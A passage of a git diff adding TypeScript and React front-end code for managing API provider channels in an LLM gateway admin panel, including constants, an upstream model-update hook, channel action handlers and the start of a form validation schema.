+// Error / Success Messages (i18n keys: use t(ERROR_MESSAGES.xxx) when displaying)
+// ============================================================================
+
+export const ERROR_MESSAGES = {
+  REQUIRED_NAME: 'Channel name is required',
+  REQUIRED_TYPE: 'Channel type is required',
+  REQUIRED_KEY: 'API key is required',
+  REQUIRED_MODELS: 'Models are required',
+  REQUIRED_GROUP: 'Group is required',
+  INVALID_JSON: 'Invalid JSON format',
+  INVALID_MODEL_MAPPING: 'Invalid model mapping format',
+  CREATE_FAILED: 'Failed to create channel',
+  UPDATE_FAILED: 'Failed to update channel',
+  DELETE_FAILED: 'Failed to delete channel',
+  TEST_FAILED: 'Failed to test channel',
+  BALANCE_QUERY_FAILED: 'Failed to query balance',
+  FETCH_MODELS_FAILED: 'Failed to fetch models',
+} as const
+
+export const SUCCESS_MESSAGES = {
+  CREATED: 'Channel created successfully',
+  UPDATED: 'Channel updated successfully',
+  DELETED: 'Channel deleted successfully',
+  ENABLED: 'Channel enabled successfully',
+  DISABLED: 'Channel disabled successfully',
+  TESTED: 'Channel test completed',
+  BALANCE_QUERIED: 'Balance queried successfully',
+  MODELS_FETCHED: 'Models fetched successfully',
+  COPIED: 'Channel copied successfully',
+  TAG_SET: 'Tag set successfully',
+  BATCH_DELETED: 'Channels deleted successfully',
+} as const
+
+// ============================================================================
+// Default Values
+// ============================================================================
+
+export const DEFAULT_PAGE_SIZE = 20
+
+export const DEFAULT_CHANNEL_VALUES = {
+  name: '',
+  type: 0,
+  base_url: '',
+  key: '',
+  models: '',
+  group: 'default',
+  status: CHANNEL_STATUS.ENABLED,
+  priority: 0,
+  weight: 0,
+  auto_ban: 1,
+  remark: '',
+} as const
+
+// ============================================================================
+// Table Configuration
+// ============================================================================
+
+export const CHANNELS_TABLE_PAGE_SIZE_OPTIONS = [10, 20, 50, 100]
+
+// ============================================================================
+// Sort Options (label values are i18n keys)
+// ============================================================================
+
+export const SORT_OPTIONS = [
+  { value: 'priority', label: 'Priority (Default)' },
+  { value: 'id', label: 'ID' },
+  { value: 'name', label: 'Name' },
+  { value: 'balance', label: 'Balance' },
+  { value: 'response_time', label: 'Response Time' },
+] as const
+
+// ============================================================================
+// Balance Display
+// ============================================================================
+
+export const BALANCE_THRESHOLDS = {
+  LOW: 1,
+  MEDIUM: 10,
+  HIGH: 100,
+} as const
+
+// ============================================================================
+// Response Time Thresholds (in ms)
+// ============================================================================
+
+export const RESPONSE_TIME_THRESHOLDS = {
+  EXCELLENT: 500,
+  GOOD: 1000,
+  FAIR: 2000,
+  POOR: 5000,
+} as const
+
+export const RESPONSE_TIME_CONFIG = {
+  EXCELLENT: { variant: 'success' as const, label: 'Excellent' },
+  GOOD: { variant: 'info' as const, label: 'Good' },
+  FAIR: { variant: 'warning' as const, label: 'Fair' },
+  POOR: { variant: 'danger' as const, label: 'Poor' },
+  UNKNOWN: { variant: 'neutral' as const, label: 'Not tested' },
+} as const
+
+// ============================================================================
+// Field Hints and Placeholders (i18n keys; use t() when displaying)
+// ============================================================================
+
+export const FIELD_PLACEHOLDERS = {
+  NAME: 'e.g., OpenAI GPT-4 Production',
+  BASE_URL: 'Leave empty to use default',
+  KEY: 'API Key (one per line for batch mode)',
+  MODELS: 'Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo',
+  GROUP: 'Please Select user groups that can access this channel.',
+  MODEL_MAPPING: '{"request_model": "actual_model"}',
+  TEST_MODEL: 'Model to use for testing',
+  TAG: 'Optional tag for grouping channels',
+  REMARK: 'Optional notes about this channel',
+  PARAM_OVERRIDE: '{"temperature": 0.7}',
+  HEADER_OVERRIDE: '{"X-Custom-Header": "value"}',
+  STATUS_CODE_MAPPING: '{"400": "500"}',
+} as const
+
+export const FIELD_DESCRIPTIONS = {
+  NAME: 'Friendly name to identify this channel',
+  TYPE: 'Provider type (OpenAI, Anthropic, etc.)',
+  BASE_URL: 'Custom API base URL. Leave empty to use provider default.',
+  KEY: 'API key from the provider',
+  MODELS:
+    'List of models supported by this channel. Use comma to separate multiple models.',
+  GROUP: 'User groups that can access this channel. ',
+  MODEL_MAPPING:
+    'Map request model names to actual provider model names (JSON format)',
+  PRIORITY: 'Higher priority channels are selected first',
+  WEIGHT: 'Used for load balancing. Higher weight = more requests',
+  TEST_MODEL: 'Model to use when testing channel connectivity',
+  AUTO_BAN: 'Automatically disable channel on repeated failures',
+  STATUS_CODE_MAPPING: 'Map response status codes (JSON format)',
+  TAG: 'Group channels by tag for batch operations',
+  REMARK: 'Internal notes (not shown to users)',
+  SETTING: 'Channel-specific settings (JSON format)',
+  PARAM_OVERRIDE: 'Override request parameters (JSON format)',
+  HEADER_OVERRIDE: 'Override request headers (JSON format)',
+  MULTI_KEY_MODE: 'How to select keys: random or sequential polling',
+  BATCH_ADD: 'Create multiple channels from multiple keys',
+  OPENAI_ORG: 'OpenAI Organization ID (optional)',
+} as const
+
+// ============================================================================
+// Channel Type Specific Configurations
+// ============================================================================
+
+export const MODEL_FETCHABLE_TYPES = new Set([
+  1, 4, 14, 17, 20, 23, 24, 25, 26, 31, 34, 35, 40, 42, 43, 47, 48,
+])
+
+export const TYPE_TO_KEY_PROMPT: Record<number, string> = {
+  15: 'Format: APIKey|SecretKey',
+  18: 'Format: APPID|APISecret|APIKey',
+  22: 'Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041',
+  23: 'Format: AppId|SecretId|SecretKey',
+  33: 'Format: Ak|Sk|Region',
+  50: 'Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)',
+  51: 'Format: Access Key ID|Secret Access Key',
+  57: 'Paste Codex OAuth JSON credential (access_token / refresh_token / account_id)',
+}
+
+export const CHANNEL_TYPE_WARNINGS: Record<number, string> = {
+  3: 'For channels added after May 10, 2025, no need to remove "." from model names during deployment',
+  8: 'If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing',
+  37: 'Dify channels only support chatflow and agent, and agent does not support images',
+}
diff --git a/new-api/web/default/src/features/channels/hooks/use-channel-upstream-updates.ts b/new-api/web/default/src/features/channels/hooks/use-channel-upstream-updates.ts
new file mode 100644
index 0000000..bccd814
--- /dev/null
+++ b/new-api/web/default/src/features/channels/hooks/use-channel-upstream-updates.ts
@@ -0,0 +1,281 @@
+import { useRef, useState, useCallback } from 'react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { api } from '@/lib/api'
+import { normalizeModelList } from '../lib/upstream-update-utils'
+
+function getManualIgnoredModelCount(settings: unknown): number {
+  let parsed: Record<string, unknown> | null = null
+  if (settings && typeof settings === 'object')
+    parsed = settings as Record<string, unknown>
+  else if (typeof settings === 'string') {
+    try {
+      parsed = JSON.parse(settings)
+    } catch {
+      parsed = null
+    }
+  }
+  if (!parsed) return 0
+  return normalizeModelList(
+    (parsed.upstream_model_update_ignored_models as unknown[]) || []
+  ).length
+}
+
+export function useChannelUpstreamUpdates(refresh: () => Promise<void>) {
+  const { t } = useTranslation()
+
+  const [showModal, setShowModal] = useState(false)
+  const [channel, setChannel] = useState<{
+    id: number
+    [key: string]: unknown
+  } | null>(null)
+  const [addModels, setAddModels] = useState<string[]>([])
+  const [removeModels, setRemoveModels] = useState<string[]>([])
+  const [preferredTab, setPreferredTab] = useState<'add' | 'remove'>('add')
+  const [applyLoading, setApplyLoading] = useState(false)
+  const [detectAllLoading, setDetectAllLoading] = useState(false)
+  const [applyAllLoading, setApplyAllLoading] = useState(false)
+
+  const applyRef = useRef(false)
+  const detectRef = useRef(false)
+  const detectAllRef = useRef(false)
+  const applyAllRef = useRef(false)
+
+  const openModal = useCallback(
+    (
+      record: { id: number; [key: string]: unknown } | null,
+      pendingAdd: string[] = [],
+      pendingRemove: string[] = [],
+      tab: 'add' | 'remove' = 'add'
+    ) => {
+      const normAdd = normalizeModelList(pendingAdd)
+      const normRemove = normalizeModelList(pendingRemove)
+      if (!record?.id || (normAdd.length === 0 && normRemove.length === 0)) {
+        toast.info(t('No processable upstream model updates for this channel'))
+        return
+      }
+      setChannel(record)
+      setAddModels(normAdd)
+      setRemoveModels(normRemove)
+      setPreferredTab(tab)
+      setShowModal(true)
+    },
+    [t]
+  )
+
+  const closeModal = useCallback(() => {
+    setShowModal(false)
+    setChannel(null)
+    setAddModels([])
+    setRemoveModels([])
+    setPreferredTab('add')
+  }, [])
+
+  const applyUpdates = useCallback(
+    async ({
+      addModels: selectedAdd = [],
+      removeModels: selectedRemove = [],
+    }: {
+      addModels?: string[]
+      removeModels?: string[]
+    } = {}) => {
+      if (applyRef.current) return
+      if (!channel?.id) {
+        closeModal()
+        return
+      }
+      applyRef.current = true
+      setApplyLoading(true)
+      try {
+        const normSelectedAdd = normalizeModelList(selectedAdd)
+        const selectedAddSet = new Set(normSelectedAdd)
+        const ignoreModels = addModels.filter((m) => !selectedAddSet.has(m))
+
+        const res = await api.post(
+          '/api/channel/upstream_updates/apply',
+          {
+            id: channel.id,
+            add_models: normSelectedAdd,
+            ignore_models: ignoreModels,
+            remove_models: normalizeModelList(selectedRemove),
+          },
+          { skipErrorHandler: true } as Record<string, unknown>
+        )
+        const { success, message, data } = res.data || {}
+        if (!success) {
+          toast.error(message || t('Operation failed'))
+          return
+        }
+
+        toast.success(
+          t(
+            'Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models',
+            {
+              added: data?.added_models?.length || 0,
+              removed: data?.removed_models?.length || 0,
+              ignored: normalizeModelList(ignoreModels).length,
+              totalIgnored: getManualIgnoredModelCount(data?.settings),
+            }
+          )
+        )
+        closeModal()
+        await refresh()
+      } catch (e: unknown) {
+        const err = e as {
+          response?: { data?: { message?: string } }
+          message?: string
+        }
+        toast.error(
+          err?.response?.data?.message || err?.message || t('Operation failed')
+        )
+      } finally {
+        applyRef.current = false
+        setApplyLoading(false)
+      }
+    },
+    [channel, addModels, closeModal, refresh, t]
+  )
+
+  const applyAllUpdates = useCallback(async () => {
+    if (applyAllRef.current) return
+    applyAllRef.current = true
+    setApplyAllLoading(true)
+    try {
+      const res = await api.post(
+        '/api/channel/upstream_updates/apply_all',
+        {},
+        { skipErrorHandler: true } as Record<string, unknown>
+      )
+      const { success, message, data } = res.data || {}
+      if (!success) {
+        toast.error(message || t('Batch processing failed'))
+        return
+      }
+
+      toast.success(
+        t(
+          'Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed',
+          {
+            channels: data?.processed_channels || 0,
+            added: data?.added_models || 0,
+            removed: data?.removed_models || 0,
+            fails: (data?.failed_channel_ids || []).length,
+          }
+        )
+      )
+      await refresh()
+    } catch (e: unknown) {
+      const err = e as {
+        response?: { data?: { message?: string } }
+        message?: string
+      }
+      toast.error(
+        err?.response?.data?.message ||
+          err?.message ||
+          t('Batch processing failed')
+      )
+    } finally {
+      applyAllRef.current = false
+      setApplyAllLoading(false)
+    }
+  }, [refresh, t])
+
+  const detectChannelUpdates = useCallback(
+    async (ch: { id: number; [key: string]: unknown } | null) => {
+      if (detectRef.current || !ch?.id) return
+      detectRef.current = true
+      try {
+        const res = await api.post(
+          '/api/channel/upstream_updates/detect',
+          { id: ch.id },
+          { skipErrorHandler: true } as Record<string, unknown>
+        )
+        const { success, message, data } = res.data || {}
+        if (!success) {
+          toast.error(message || t('Detection failed'))
+          return
+        }
+
+        toast.success(
+          t('Detection complete: {{add}} to add, {{remove}} to remove', {
+            add: data?.add_models?.length || 0,
+            remove: data?.remove_models?.length || 0,
+          })
+        )
+        await refresh()
+      } catch (e: unknown) {
+        const err = e as {
+          response?: { data?: { message?: string } }
+          message?: string
+        }
+        toast.error(
+          err?.response?.data?.message || err?.message || t('Detection failed')
+        )
+      } finally {
+        detectRef.current = false
+      }
+    },
+    [refresh, t]
+  )
+
+  const detectAllUpdates = useCallback(async () => {
+    if (detectAllRef.current) return
+    detectAllRef.current = true
+    setDetectAllLoading(true)
+    try {
+      const res = await api.post(
+        '/api/channel/upstream_updates/detect_all',
+        {},
+        { skipErrorHandler: true } as Record<string, unknown>
+      )
+      const { success, message, data } = res.data || {}
+      if (!success) {
+        toast.error(message || t('Batch detection failed'))
+        return
+      }
+
+      toast.success(
+        t(
+          'Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed',
+          {
+            channels: data?.processed_channels || 0,
+            add: data?.detected_add_models || 0,
+            remove: data?.detected_remove_models || 0,
+            fails: (data?.failed_channel_ids || []).length,
+          }
+        )
+      )
+      await refresh()
+    } catch (e: unknown) {
+      const err = e as {
+        response?: { data?: { message?: string } }
+        message?: string
+      }
+      toast.error(
+        err?.response?.data?.message ||
+          err?.message ||
+          t('Batch detection failed')
+      )
+    } finally {
+      detectAllRef.current = false
+      setDetectAllLoading(false)
+    }
+  }, [refresh, t])
+
+  return {
+    showModal,
+    channel,
+    addModels,
+    removeModels,
+    preferredTab,
+    applyLoading,
+    detectAllLoading,
+    applyAllLoading,
+    openModal,
+    closeModal,
+    applyUpdates,
+    applyAllUpdates,
+    detectChannelUpdates,
+    detectAllUpdates,
+  }
+}
diff --git a/new-api/web/default/src/features/channels/index.tsx b/new-api/web/default/src/features/channels/index.tsx
new file mode 100644
index 0000000..7169e80
--- /dev/null
+++ b/new-api/web/default/src/features/channels/index.tsx
@@ -0,0 +1,28 @@
+import { useTranslation } from 'react-i18next'
+import { SectionPageLayout } from '@/components/layout'
+import { ChannelsDialogs } from './components/channels-dialogs'
+import { ChannelsPrimaryButtons } from './components/channels-primary-buttons'
+import { ChannelsProvider } from './components/channels-provider'
+import { ChannelsTable } from './components/channels-table'
+
+export function Channels() {
+  const { t } = useTranslation()
+  return (
+    <ChannelsProvider>
+      <SectionPageLayout>
+        <SectionPageLayout.Title>{t('Channels')}</SectionPageLayout.Title>
+        <SectionPageLayout.Description>
+          {t('Manage API channels and provider configurations')}
+        </SectionPageLayout.Description>
+        <SectionPageLayout.Actions>
+          <ChannelsPrimaryButtons />
+        </SectionPageLayout.Actions>
+        <SectionPageLayout.Content>
+          <ChannelsTable />
+        </SectionPageLayout.Content>
+      </SectionPageLayout>
+
+      <ChannelsDialogs />
+    </ChannelsProvider>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/lib/channel-actions.ts b/new-api/web/default/src/features/channels/lib/channel-actions.ts
new file mode 100644
index 0000000..8c49740
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/channel-actions.ts
@@ -0,0 +1,577 @@
+import type { QueryClient } from '@tanstack/react-query'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { formatCurrencyFromUSD } from '@/lib/currency'
+import {
+  copyChannel,
+  deleteChannel,
+  testChannel,
+  updateChannel,
+  batchDeleteChannels,
+  batchSetChannelTag,
+  enableTagChannels,
+  disableTagChannels,
+  deleteDisabledChannels,
+  fixChannelAbilities,
+  editTagChannels,
+  testAllChannels,
+  updateAllChannelsBalance,
+  updateChannelBalance,
+} from '../api'
+import { CHANNEL_STATUS, ERROR_MESSAGES, SUCCESS_MESSAGES } from '../constants'
+import type { CopyChannelParams } from '../types'
+
+// ============================================================================
+// Query Keys
+// ============================================================================
+
+export const channelsQueryKeys = {
+  all: ['channels'] as const,
+  lists: () => [...channelsQueryKeys.all, 'list'] as const,
+  list: (params: Record<string, unknown>) =>
+    [...channelsQueryKeys.lists(), params] as const,
+  details: () => [...channelsQueryKeys.all, 'detail'] as const,
+  detail: (id: number) => [...channelsQueryKeys.details(), id] as const,
+}
+
+// ============================================================================
+// Single Channel Actions
+// ============================================================================
+
+/**
+ * Enable a channel
+ */
+export async function handleEnableChannel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateChannel(id, { status: CHANNEL_STATUS.ENABLED })
+    if (response.success) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.ENABLED))
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+  }
+}
+
+/**
+ * Disable a channel
+ */
+export async function handleDisableChannel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateChannel(id, {
+      status: CHANNEL_STATUS.MANUAL_DISABLED,
+    })
+    if (response.success) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.DISABLED))
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+  }
+}
+
+/**
+ * Toggle channel status (enable/disable)
+ */
+export async function handleToggleChannelStatus(
+  id: number,
+  currentStatus: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (currentStatus === CHANNEL_STATUS.ENABLED) {
+    await handleDisableChannel(id, queryClient, onSuccess)
+  } else {
+    await handleEnableChannel(id, queryClient, onSuccess)
+  }
+}
+
+/**
+ * Delete a channel
+ */
+export async function handleDeleteChannel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await deleteChannel(id)
+    if (response.success) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.DELETED))
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.DELETE_FAILED))
+  }
+}
+
+/**
+ * Update a specific channel field (e.g., priority, weight)
+ */
+export async function handleUpdateChannelField(
+  id: number,
+  fieldName: string,
+  value: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateChannel(id, { [fieldName]: value })
+    if (response.success) {
+      // Show success toast with field name
+      const fieldLabel =
+        fieldName.charAt(0).toUpperCase() + fieldName.slice(1).toLowerCase()
+      toast.success(
+        i18next.t('{{field}} updated to {{value}}', {
+          field: fieldLabel,
+          value,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+  }
+}
+
+/**
+ * Update a specific field for all channels with a tag
+ */
+export async function handleUpdateTagField(
+  tag: string,
+  fieldName: 'priority' | 'weight',
+  value: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const params = { tag, [fieldName]: value }
+    const response = await editTagChannels(params)
+    if (response.success) {
+      // Show success toast with field name
+      const fieldLabel =
+        fieldName.charAt(0).toUpperCase() + fieldName.slice(1).toLowerCase()
+      toast.success(
+        i18next.t('{{field}} updated to {{value}} for tag: {{tag}}', {
+          field: fieldLabel,
+          value,
+          tag,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.UPDATE_FAILED))
+  }
+}
+
+/**
+ * Test channel connectivity
+ */
+export async function handleTestChannel(
+  id: number,
+  options?: { testModel?: string; endpointType?: string; stream?: boolean },
+  onTestComplete?: (
+    success: boolean,
+    responseTime?: number,
+    error?: string,
+    errorCode?: string
+  ) => void
+): Promise<void> {
+  const payload =
+    options && (options.testModel || options.endpointType || options.stream)
+      ? {
+          ...(options.testModel ? { model: options.testModel } : {}),
+          ...(options.endpointType
+            ? { endpoint_type: options.endpointType }
+            : {}),
+          ...(options.stream ? { stream: true } : {}),
+        }
+      : undefined
+
+  try {
+    const response = await testChannel(id, payload)
+    if (response.success) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.TESTED))
+      onTestComplete?.(true, response.data?.response_time)
+    } else {
+      toast.error(response.message || i18next.t(ERROR_MESSAGES.TEST_FAILED))
+      onTestComplete?.(false, undefined, response.message, response.error_code)
+    }
+  } catch (_error: unknown) {
+    const err = _error as { response?: { data?: { message?: string } } }
+    const errorMsg =
+      err?.response?.data?.message || i18next.t(ERROR_MESSAGES.TEST_FAILED)
+    toast.error(errorMsg)
+    onTestComplete?.(false, undefined, errorMsg)
+  }
+}
+
+/**
+ * Copy a channel
+ */
+export async function handleCopyChannel(
+  id: number,
+  params: CopyChannelParams,
+  queryClient?: QueryClient,
+  onSuccess?: (newId: number) => void
+): Promise<void> {
+  try {
+    const response = await copyChannel(id, params)
+    if (response.success && response.data?.id) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.COPIED))
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.(response.data.id)
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to copy channel'))
+  }
+}
+
+/**
+ * Update channel balance
+ */
+export async function handleUpdateChannelBalance(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: (balance: number) => void
+): Promise<void> {
+  try {
+    const response = await updateChannelBalance(id)
+    if (response.success && response.balance !== undefined) {
+      const balance = response.balance
+      toast.success(
+        i18next.t('Balance updated: {{balance}}', {
+          balance: formatCurrencyFromUSD(balance, {
+            digitsLarge: 2,
+            digitsSmall: 4,
+            abbreviate: false,
+          }),
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.(balance)
+    } else {
+      toast.error(response.message || i18next.t('Failed to update balance'))
+    }
+  } catch (_error: unknown) {
+    toast.error(
+      _error instanceof Error
+        ? _error.message
+        : i18next.t('Failed to update balance')
+    )
+  }
+}
+
+// ============================================================================
+// Batch Actions
+// ============================================================================
+
+/**
+ * Batch delete channels
+ */
+export async function handleBatchDelete(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: (deletedCount: number) => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('No channels selected'))
+    return
+  }
+
+  try {
+    const response = await batchDeleteChannels({ ids })
+    if (response.success) {
+      toast.success(
+        i18next.t('{{count}} channel(s) deleted', {
+          count: response.data || ids.length,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.(response.data || ids.length)
+    }
+  } catch (_error) {
+    toast.error(i18next.t(ERROR_MESSAGES.DELETE_FAILED))
+  }
+}
+
+/**
+ * Batch enable channels
+ */
+export async function handleBatchEnable(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('No channels selected'))
+    return
+  }
+
+  try {
+    // Update each channel individually
+    const promises = ids.map((id) =>
+      updateChannel(id, { status: CHANNEL_STATUS.ENABLED })
+    )
+    const results = await Promise.allSettled(promises)
+
+    const successCount = results.filter((r) => r.status === 'fulfilled').length
+    const failCount = results.filter((r) => r.status === 'rejected').length
+
+    if (successCount > 0) {
+      toast.success(
+        i18next.t('{{count}} channel(s) enabled', { count: successCount })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+
+    if (failCount > 0) {
+      toast.error(
+        i18next.t('{{count}} channel(s) failed to enable', { count: failCount })
+      )
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to enable channels'))
+  }
+}
+
+/**
+ * Batch disable channels
+ */
+export async function handleBatchDisable(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('No channels selected'))
+    return
+  }
+
+  try {
+    // Update each channel individually
+    const promises = ids.map((id) =>
+      updateChannel(id, { status: CHANNEL_STATUS.MANUAL_DISABLED })
+    )
+    const results = await Promise.allSettled(promises)
+
+    const successCount = results.filter((r) => r.status === 'fulfilled').length
+    const failCount = results.filter((r) => r.status === 'rejected').length
+
+    if (successCount > 0) {
+      toast.success(
+        i18next.t('{{count}} channel(s) disabled', { count: successCount })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+
+    if (failCount > 0) {
+      toast.error(
+        i18next.t('{{count}} channel(s) failed to disable', {
+          count: failCount,
+        })
+      )
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to disable channels'))
+  }
+}
+
+/**
+ * Batch set tag
+ */
+export async function handleBatchSetTag(
+  ids: number[],
+  tag: string | null,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('No channels selected'))
+    return
+  }
+
+  try {
+    const response = await batchSetChannelTag({ ids, tag })
+    if (response.success) {
+      toast.success(i18next.t(SUCCESS_MESSAGES.TAG_SET))
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to set tag'))
+  }
+}
+
+// ============================================================================
+// Tag-Based Actions
+// ============================================================================
+
+/**
+ * Enable all channels with a tag
+ */
+export async function handleEnableTagChannels(
+  tag: string,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await enableTagChannels(tag)
+    if (response.success) {
+      toast.success(
+        i18next.t('Enabled all channels with tag: {{tag}}', { tag })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to enable tag channels'))
+  }
+}
+
+/**
+ * Disable all channels with a tag
+ */
+export async function handleDisableTagChannels(
+  tag: string,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await disableTagChannels(tag)
+    if (response.success) {
+      toast.success(
+        i18next.t('Disabled all channels with tag: {{tag}}', { tag })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to disable tag channels'))
+  }
+}
+
+// ============================================================================
+// System Actions
+// ============================================================================
+
+/**
+ * Delete all disabled channels
+ */
+export async function handleDeleteAllDisabled(
+  queryClient?: QueryClient,
+  onSuccess?: (deletedCount: number) => void
+): Promise<void> {
+  try {
+    const response = await deleteDisabledChannels()
+    if (response.success) {
+      toast.success(
+        i18next.t('{{count}} disabled channel(s) deleted', {
+          count: response.data || 0,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.(response.data || 0)
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to delete disabled channels'))
+  }
+}
+
+/**
+ * Fix channel abilities
+ */
+export async function handleFixAbilities(
+  queryClient?: QueryClient,
+  onSuccess?: (result: { success: number; fails: number }) => void
+): Promise<void> {
+  try {
+    const response = await fixChannelAbilities()
+    if (response.success && response.data) {
+      toast.success(
+        i18next.t('Fixed abilities: {{success}} succeeded, {{fails}} failed', {
+          success: response.data.success,
+          fails: response.data.fails,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.(response.data)
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to fix abilities'))
+  }
+}
+
+/**
+ * Test all enabled channels
+ */
+export async function handleTestAllChannels(
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await testAllChannels()
+    if (response.success) {
+      toast.success(
+        i18next.t(
+          'Testing all enabled channels started. Please refresh to see results.'
+        )
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(
+        response.message || i18next.t('Failed to start testing all channels')
+      )
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to test all channels'))
+  }
+}
+
+/**
+ * Update balance for all enabled channels
+ */
+export async function handleUpdateAllBalances(
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateAllChannelsBalance()
+    if (response.success) {
+      toast.success(
+        i18next.t(
+          'Updating all channel balances. This may take a while. Please refresh to see results.'
+        )
+      )
+      queryClient?.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(
+        response.message || i18next.t('Failed to update all balances')
+      )
+    }
+  } catch (_error) {
+    toast.error(i18next.t('Failed to update all balances'))
+  }
+}
diff --git a/new-api/web/default/src/features/channels/lib/channel-form.ts b/new-api/web/default/src/features/channels/lib/channel-form.ts
new file mode 100644
index 0000000..e4e5fd2
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/channel-form.ts
@@ -0,0 +1,502 @@
+import { z } from 'zod'
+import { CHANNEL_STATUS, MODEL_FETCHABLE_TYPES } from '../constants'
+import type { Channel } from '../types'
+
+// ============================================================================
+// Form Validation Schema
+// ============================================================================
+
+export const channelFormSchema = z.object({
+  name: z.string().min(1, 'Channel name is required'),
+  type: z.number().min(0, 'Channel type is required'),
+  base_url: z.string().optional(),
+  key: z.string(),
+  openai_organization: z.string().optional(),
+  models: z.string().min(1, 'At least one model is required'),
+  group: z.array(z.string()).min(1, 'At least one group is required'),
+  model_mapping: z.string().optional(),
+  priority: z.number().optional(),
+  weight: z.number().optional(),
+  test_model: z.string().optional(),
+  auto_ban: z.number().optional(),
+  status: z.number(),
+  status_code_mapping: z.string().optional(),
+  tag: z.string().optional(),
+  remark: z
+    .string()
+    .max(255, 'Remark must be less than 255 characters')
+    .optional(),
+  setting: z.string().optional(),
+  param_override: z.string().optional(),
+  header_override: z.string().optional(),
+  settings: z.string().optional(),
+  other: z.string().optional(),
